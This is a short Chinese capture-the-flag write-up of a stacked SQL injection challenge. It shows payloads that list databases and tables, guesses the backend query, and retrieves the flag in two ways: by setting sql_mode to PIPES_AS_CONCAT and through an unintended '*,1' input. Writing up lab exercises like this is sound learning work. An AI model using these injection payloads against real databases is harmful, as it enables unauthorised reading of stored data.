知识点

  • sql注入
  • 堆叠注入

启动靶机

启动靶机,查看题目
image.png

1.查看数据库

  1. 1;show databases;

结果如下:

  1. Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

2.查看数据表

  1. 1;show tables;

结果如下:

  1. Array ( [0] => 1 ) Array ( [0] => Flag )

3.查数据

  1. 1;select * from flag;

flag被过滤

这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用,猜测后端语句为:

  1. select $post['query']||flag from Flag
  • 官方给的 payload 是 1;set sql_mode=PIPES_AS_CONCAT;select 1
  • 拼接一下就是 select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
  • 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT|| 视为字符串的连接操作符而非 “或” 运算符
  • 关于 sql_mode 更多可以查看这个链接 : MySQL sql_mode 说明
  • 还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1select flag from flag 的结果拼接在一起

非预期方法

  1. *,1,构造成select *,1 || flag from flag

内置的sql语句为sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”;

如果$post[‘query’]的数据为,1,sql语句就变成了select ,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容